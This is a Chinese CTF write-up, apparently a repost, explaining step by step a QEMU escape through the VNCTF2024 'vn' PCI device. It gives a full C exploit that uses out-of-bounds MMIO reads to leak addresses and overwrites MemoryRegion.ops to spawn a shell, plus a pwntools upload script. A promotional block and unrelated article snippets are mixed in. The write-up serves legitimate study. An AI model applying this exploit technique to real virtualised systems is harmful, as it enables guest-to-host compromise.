从 VNCTF2024 的一道题学习QEMU Escape

说在前面

本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松。(当然也不排除这是我自以为是)

题目 github 仓库

[1] 题目分析流程

[1-1] 启动文件分析

Dockerfile,了解到它在搭起环境以后启动了start.sh

再读 start.sh,了解到它启动了 xinetd 程序

再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh

再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。

通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟进调用 字符串vn_instance_init函数vn_instance_init,再按 x 查看 函数vn_instance_init 的引用,可以看到下面还有一个 vn_class_init ,反汇编后看到

__int64 __fastcall vn_class_init(__int64 a1)
{__int64 result; // raxresult = PCI_DEVICE_CLASS_23(a1);*(_QWORD *)(result + 176) = pci_vn_realize;*(_QWORD *)(result + 184) = 0LL;*(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)*(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)*(_BYTE *)(result + 212) = 0x10;*(_WORD *)(result + 214) = 0xFF;return result;
}

通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn

/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmiopmio 的注册情况

/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r--    1 0        0             4096 Feb 18 12:18 resource
-rw-------    1 0        0             4096 Feb 18 12:18 resource0
...
...

有了 resource0 这个文件,我们就可以在exp里 mmap 做虚拟地址映射。

并且我们可以看到 vn 这个设备只注册了 mmio,那就考虑用 mmio攻击(点击这里了解 mmio 运行原理)

[1-2] 静态分析

如果我写的不够清楚,读者可以参考 blizzardCTF 里的 strng这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。

我们先补充一些概念:

QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device 参数为 kernel 提供了模拟的 pci 设备。

如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci 来查看相关 pci,并在/sys/devices/…找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。

resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”

所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改

可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据

关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关

假设我们的调用链是这样的: 
docker -> QEMU -> exp则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。

那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。

oNxdA.md.png

由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是

  • object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址

  • ①如果 op == 0x30 且 ptr[737] == 0

    • ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1
  • ②如果 op == 0x10 且 var < 0x3C

    • ptr[736] = var
    • 这里可以用负数来上溢,从而可以读很大一片空间的内容
  • ③如果 op == 0x20 且 var 的高32位 < 0x3C

    • ptr[ HIDWORD(var) + 720 ] = (LODWORD)var

同理 vn_mmio_read 也可以分析出来。

下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助

通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read

void mmio_write(uint64_t addr, uint64_t value)
{*((uint64_t*)(mmio_base + addr)) = value;
}uint32_t mmio_read(uint64_t addr)
{return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{uint64_t val = value + (idx << 32);mmio_write(0x20,val);
}

通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv(“/bin/sh”);

现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。

所以我们就先读一些内容,看看附近有没有什么能利用的东西。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

[2] 动态调试

接下来我们需要用 docker 调试 qemu,这里记录一下

# 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp# 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio# 将 exp 放入 /core/usr/bin 中# 重新打包 roortfs.cpio
gen rootfs.cpio# 修改 run.sh 
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
#     -L ./pc-bios \
#     -m 128M \
#     -append "tsc=unstable console=ttyS0" \
#     -kernel bzImage \
#     -initrd rootfs.cpio \
#     -device vn \
#     -nographic \
#     -no-reboot \
#     -monitor /dev/null \# 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过
vim Dockerfile # 下面内容只是 RUN 部分,其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
#     apt-get update && apt-get -y dist-upgrade && \
#     apt-get install -y lib32z1 xinetd \
#                        libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
#                        libfdt-dev libnuma-dev libglib2.0-dev \
#                        libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb# build 与 启动容器
docker-compose build
docker start vnctf# 启动tmux,分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash# pane2:
docker exec -ti vnctf /bin/bash# pane1:
./run.sh # 这里运行以后应该是什么也不会出现# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c     # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动# 如果没启动就继续输入 (gdb) c# pane1:
# 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp# pane2:
# 此时就可以开始调试了

现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的

int main(int argc, char const *argv[])
{uint32_t catflag_addr = 0x6E65F9;getMMIOBase();printf("mmio_base Resource0Base: %p\n", mmio_base);uint64_t test_low,test_high,test;for(int i=-1;i>=-30;i--) {mmio_write(0x10, i*0x8);test_low = mmio_read(0x20);mmio_write(0x10, i*0x8 + 0x4);test_high = mmio_read(0x20);test = test_low + (test_high << 32);printf("test%d = 0x%llx\n", -i, test);getchar();}
}/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/

我们逐个地址 x/2gx 一下,最终发现这几个比较有意思的地方

PIE

(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3      0xf3c35d90f87d8948

我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了

heap & MemoryRegion

(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>:   0x000055da252d3458      0x000055da252d3502

我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0

所以我们有如下对应关系:

ptr[-24 + 720] -> 0x55da25dd01e0

那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行

最终我们用到的是 test23 -> 0x55da2812e470

// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.

因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0

观察发现这个地址跟我们的 test10 非常近,可以计算一下

(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 =  0x55da2812ef58 - 0x68 = test10 - 0x68

而我们打印一下更多附近的值,可以看到

(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840      0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00      0x0000000000000001
0x55da2812eec0: 0x000055da2812e470      0x0000000000000001
0x55da2812eed0: 0x0000000000000000      0x0000000000000000
0x55da2812eee0: 0x000055da2812e470      0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0      0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0      0x0000000000000000
0x55da2812ef10: 0x0000000000001000      0x0000000000000000
0x55da2812ef20: 0x00000000febf1000      0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000      0x0000000000010001
0x55da2812ef40: 0x0000000000000000      0x0000000000000000
0x55da2812ef50: 0x0000000000000001      0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58      0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98      0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78      0x000055da28130f00
0x55da2812ef90: 0x0000000000000000      0x0000000000000000
0x55da2812efa0: 0x0000000000000000      0x0000000000000000
0x55da2812efb0: 0x0000000000000000      0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000      0x0000000000000000
0x55da2812efd0: 0x0000000000000000      0x0000000000000000
0x55da2812efe0: 0x0000000000000000      0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c      0x0000000000000000
0x55da2812f000: 0x0000000000000000      0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0      0x000055da273b01d0
0x55da2812f020: 0x0000000000000000      0x000055da25725d5f
0x55da2812f030: 0x0000000000000000      0x000055da25725de1

我们回到 ctf-wiki-QEMU 里查看一下 MemoryRegion

struct MemoryRegion {Object parent_obj;/* private: *//* The following fields should fit in a cache line */bool romd_mode;bool ram;bool subpage;bool readonly; /* For RAM regions */bool nonvolatile;bool rom_device;bool flush_coalesced_mmio;bool global_locking;uint8_t dirty_log_mask;bool is_iommu;RAMBlock *ram_block;Object *owner;const MemoryRegionOps *ops;void *opaque;MemoryRegion *container;    // 指向父 MemoryRegionInt128 size;    // 内存区域大小hwaddr addr;    // 在父 MR 中的偏移量void (*destructor)(MemoryRegion *mr);uint64_t align;bool terminates;bool ram_device;bool enabled;bool warning_printed; /* For reservations */uint8_t vga_logging_count;MemoryRegion *alias;    // 仅在 alias MR 中,指向实际的 MRhwaddr alias_offset;int32_t priority;QTAILQ_HEAD(, MemoryRegion) subregions;QTAILQ_ENTRY(MemoryRegion) subregions_link;QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;const char *name;unsigned ioeventfd_nb;MemoryRegionIoeventfd *ioeventfds;
};

假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;

0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0 
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000

我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数

所以我们考虑这样的布置:

0x55da2812eef0(&test24)   -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B

[3] 完整 EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";unsigned char* mmio_base;unsigned char* getMMIOBase(){int fd;if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {perror("open pci device");exit(-1);}mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);if(mmio_base == (void *) -1) {perror("mmap");exit(-1);}return mmio_base;
}void mmio_write(uint64_t addr, uint64_t value)
{*((uint64_t*)(mmio_base + addr)) = value;
}uint32_t mmio_read(uint64_t addr)
{return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{uint64_t val = value + (idx << 32);mmio_write(0x20,val);
}int main(int argc, char const *argv[])
{uint32_t catflag_addr = 0x6E65F9;getMMIOBase();printf("mmio_base Resource0Base: %p\n", mmio_base);mmio_write(0x10, -17*0x8);uint64_t pie_low = mmio_read(0x20);mmio_write(0x10, -17*0x8 + 0x4);uint64_t pie_high = mmio_read(0x20);uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;printf("pie = 0x%llx\n", pie);getchar();mmio_write(0x10, -10*0x8);uint64_t heap_low = mmio_read(0x20);mmio_write(0x10, -10*0x8 + 0x4);uint64_t heap_high = mmio_read(0x20);uint64_t heap = heap_low + (heap_high << 32);printf("heap = 0x%llx\n", heap);uint64_t backdoor = pie + 0x67429B;uint64_t system_plt_addr = heap + 0x60 + 8;uint64_t cmdaddr = heap + 0x58 + 8;getchar();mmio_write_idx(8,0x20746163);mmio_write_idx(12,0x67616C66);mmio_write_idx(16,backdoor & 0xffffffff);mmio_write_idx(20,backdoor >> 32);mmio_write_idx(24,system_plt_addr & 0xffffffff);mmio_write_idx(28,system_plt_addr >> 32);mmio_write_idx(32,cmdaddr & 0xffffffff);mmio_write_idx(36,cmdaddr >> 32);getchar();for(int i = 40;i <= 60 ;i += 4 ){mmio_write_idx(i,0);}getchar();mmio_write(0x10,-0xc0);getchar();mmio_write(0x30,system_plt_addr);getchar();mmio_read(0);return 0;
}

[4] exp.c 如何食用?

# exp.py
from pwn import *
import time, os
context.log_level = "debug"p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")f = open("./b64_exp", "r")p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")count = 1
while True:print('now line: ' + str(count))line = f.readline().replace("\n","")if len(line)<=0:breakcmd = b"echo '" + line.encode() + b"' >> b64_exp;"p.sendline(cmd) # send lines#time.sleep(0.02)#p.recv()p.recvuntil("~ #")count += 1
f.close()p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

[5] 结语

本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell

但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/748357.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python面试笔记

Python面试笔记 PythonQ. Python中可变数据类型与不可变数据类型&#xff0c;浅拷贝与深拷贝详解Q. 解释什么是lambda函数&#xff1f;它有什么好处&#xff1f;Q. 什么是装饰器&#xff1f;Q. 什么是Python的垃圾回收机制&#xff1f;Q. Python内置函数dir的用法&#xff1f;Q…

论文阅读——VSA

VSA: Learning Varied-Size Window Attention in Vision Transformers 方法&#xff1a; 给定输入特征X&#xff0c;VSA首先按照基线方法的例程&#xff0c;将这些标记划分为几个窗口Xw&#xff0c;窗口大小为预定义的w。我们将这些窗口称为默认窗口&#xff0c;并从默认窗口中…

Oracle 一键巡检自动生成 Word 报告

前言 Oracle 数据库巡检通常需要消耗大量时间和精力&#xff0c;包括收集数据库以及主机的相关信息。针对 Word 报告的样式调整&#xff0c;也是重复和费事的&#xff0c;所以我针对 Oracle 巡检所需检查的信息以及报告模板&#xff0c;写了一套自动巡检并且生成报告的脚本。巡…

C++语法、Linux命令查询网站

文章目录 1.cplusplus2.cppreference3.Linux命令查询网站 1.cplusplus 网址&#xff1a;https://legacy.cplusplus.com/ 2.cppreference 1.cppreference中文网站&#xff1a;https://zh.cppreference.com/w/首页 2.cppreference英文原站&#xff1a;https://en.cppreference…

Java获取视频封面图,利用FFmpegFrameGrabber获取视频封面图

依赖 <dependency><groupId>org.bytedeco</groupId><artifactId>javacv-platform</artifactId><version>1.5.9</version></dependency>传入视频流获取图片byte /*** 获取视频截图** param frameNumber 视频的指定帧数* param …

Unity AI Navigation插件快速使用方法

AI Navigation插件使您能够创建能够在游戏世界中智能移动的角色。这些角色利用的是根据场景几何结构自动生成的导航网格。障碍物可以让您在运行时改变角色的导航路径。 演示使用的Unity版本为Tuanjie 1.0.0,团结引擎是Unity中国的引擎研发团队基于Unity 2022 LTS版本为中国开发…

C#,图论与图算法,双连通图(Biconnected Components of Graph)的算法与源代码

1 双连通图(Biconnected Components of Graph) 如果任意两个顶点之间有两条顶点不相交的路径,则无向图称为双连通图。在双连通图中,有一个通过任意两个顶点的简单循环。 按照约定,由边连接的两个节点构成双连通图,但这并不验证上述属性。对于具有两个以上顶点的图,必须…

Python Learn day05

Python Learn day05 本文主要讲解 继承、多态、定制类 继承和多态 什么是继承 当新类想要拥有现有类的功能结构&#xff0c;可以使用继承。继承的前提是新类 is a 现有类&#xff0c;即&#xff1a; 子类 is 父类 总是从某个类继承&#xff1a; class Myclass(object):pass…

Hello,Spider!入门第一个爬虫程序

在各大编程语言中&#xff0c;初学者要学会编写的第一个简单程序一般就是“Hello, World!”&#xff0c;即通过程序来在屏幕上输出一行“Hello, World!”这样的文字&#xff0c;在Python中&#xff0c;只需一行代码就可以做到。我们把这第一个爬虫就称之为“HelloSpider”&…

【Git】Github 上commit后,绿格子contribution却不显示?不知道怎么弥补?解决方法在这里

github 上commit后&#xff0c;绿格子&#xff08;contribution&#xff09;却不显示 问题描述 今天一直在github上面commit代码&#xff0c;但是github中并没有显示自己的contribution&#xff08;没有绿色的格子&#xff09;&#xff0c;全是空白&#xff0c;网上一查是因为…

免费分享一套SpringBoot+Vue自习室(预约)管理系统,帅呆了~~

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的SpringBootVue自习室预约)管理系统&#xff0c;分享下哈。 项目视频演示 【免费】SpringBootVue自习室预约(预约)管理系统 Java毕业设计_哔哩哔哩_bilibili【免费】SpringBootVue自习室预约(预约)管理系统…

Java项目企业设备管理系统

java项目企业设备管理系统javaweb项目ssm框架项目 运行环境:idea/eclipse tomcat jdk mysql navicat 系统用户分为员工和管理员两类用户。两类用户都可以进行系统的登录&#xff0c;虽然进入的系统主页结构相似&#xff0c;但是在功能上有不同。员工的密码可以自己进入系统后…

【目标检测-数据集准备】DIOR转为yolo训练所需格式

【目标检测】DIOR遥感影像数据集&#xff0c;转为yolo系列模型训练所需格式。 标签文件位于Annotations下&#xff0c;格式为xml&#xff0c;yolo系列模型训练所需格式为txt&#xff0c;格式为 class_id x_center,y_center,w,h其中&#xff0c;train&#xff0c;text&#xff…

Python笔记|字符串的转义

重新梳理一遍python的基础知识 除了数字&#xff0c;Python 还可以操作字符串。字符串有多种表现形式&#xff0c;用单引号&#xff08;……&#xff09;或双引号&#xff08;"……"&#xff09;标注的结果相同 。反斜杠 \ 用于转义&#xff1a; >>>spam e…

java抽象类的作用及解析

在 Java 中&#xff0c;抽象类是一种特殊的类&#xff0c;它可以用于定义一些抽象的方法和属性&#xff0c;这些方法和属性可能在子类中有不同的实现。 抽象类的主要作用包括&#xff1a; 提供抽象方法&#xff1a;抽象类可以包含一些没有具体实现的抽象方法&#xff0c;这些…

JVM-5

1.选择垃圾收集器 如果你的堆大小不是很大&#xff08;比如 100MB &#xff09;&#xff0c;选择串行收集器一般是效率最高的。 参数&#xff1a; -XX:UseSerialGC 。如果你的应用运行在单核的机器上&#xff0c;或者你的虚拟机核数只有单核&#xff0c;选择串行收集器依然是合…

论文阅读:FCB-SwinV2 Transformer for Polyp Segmentation

这是对FCBFormer的改进&#xff0c;我的关于FCBFormer的论文阅读笔记&#xff1a;论文阅读FCN-Transformer Feature Fusion for PolypSegmentation-CSDN博客 1&#xff0c;整体结构 依然是一个双分支结构&#xff0c;总体结构如下&#xff1a; 其中一个是全卷积分支&#xff…

数据结构之链式二叉树

当我们初步了解二叉树后 我们就可以进一步去深入学习二叉树了 1.链式二叉树的遍历 这里我们先去定义链式二叉树的结构 分为两个指针 一左一右 他们分别指向左子树和右子树 typedef int BTDataType;typedef struct BinaryTreeNode {BTDataType data;struct BinartTreeNod…

【设计模式】一、设计模式概述

文章目录 一、设计模式概述&#xff08;一&#xff09;设计模式是什么1. 设计模式的定义2. 设计模式的组成要素3、常用设计模式一览表 &#xff08;二&#xff09;设计模式的优点&#xff08;用途&#xff09;※ 本文小结 一、设计模式概述 &#xff08;一&#xff09;设计模式…

tcp/ip协议2实现的插图,数据结构8 (30 - 32章)

(201) 201 三十0 中断优先级补充 (202) 202 三十1 TCP的用户需求 函tcp_usrreq一 (203) 203 三十2 TCP的用户需求 函tcp_usrreq二 (204) 204 三十3 TCP的用户需求 函tcp_usrreq三 (205) 205 三十4 TCP的用户需求 函tcp_usrreq四 (206) 206 三十5 TCP的用户需求 函tcp_usrreq五 …